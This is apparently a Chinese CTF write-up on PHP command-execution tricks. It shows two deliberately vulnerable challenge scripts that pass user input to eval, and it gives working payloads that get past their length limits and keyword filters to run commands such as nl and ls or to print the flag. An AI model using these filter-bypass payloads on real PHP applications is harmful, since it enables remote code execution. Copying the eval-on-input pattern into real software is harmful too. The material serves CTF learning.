命令执行小trick

前言

对近期遇到的命令执行trick做个小结

nepnep的一道题:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>

关于这道题有很多方式 //这里用到了反引号,因为格式问题显示不出来。

  1. 对于substr可以利用 -1 来绕,利用反引号, 直接 ?nep=echonl *;1&len=-1 ,flag就在当前目录的文件里面,可以直接看到。

  2. 利用前面介绍的长度限制的命令执行的思维来打:

    • ?nep=>cat;&len=7
    • ?nep=*>1;&len=6

    相当于执行 cat index.php nepnep.php >1 内容都在1文件里面了。然后访问1 文件就可以看到里面的内容

3.执行本身字符串

  • ?nep=$len;&len=7;ls>1.txt len变量被intval函数和substr函数仍然当成数字处理

然后是bugku的一道命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);

$exam的长度是固定的,为49,我们很难去找到一个字符串,加密后刚好为49,好在这里有一个eval,我们考虑一下命令执行

但是过滤了很多的东西,包括括号,点,下划线啥的,导致很多命令用不了。有个思路是把$flag变量想办法直接打印出来,但是echo还有print都被过滤了,这里可以用PHP短标签绕过,剩下的就是怎么构造$flag变量了,直接打肯定不行,这里我们可以利用{}结合$$尝试一下这样:

?flag=$x=flah;$x{3}='g';?>xxxxxxxxx<?=$$x;?> 中间的x用来填充 。

  • {}可以控制数组的下标
  • $$x 此时等效于 $flag

小结

包括之前国赛那个用数学函数凑的,还有之前对命令执行的一个总结,只能说命令执行真的太骚。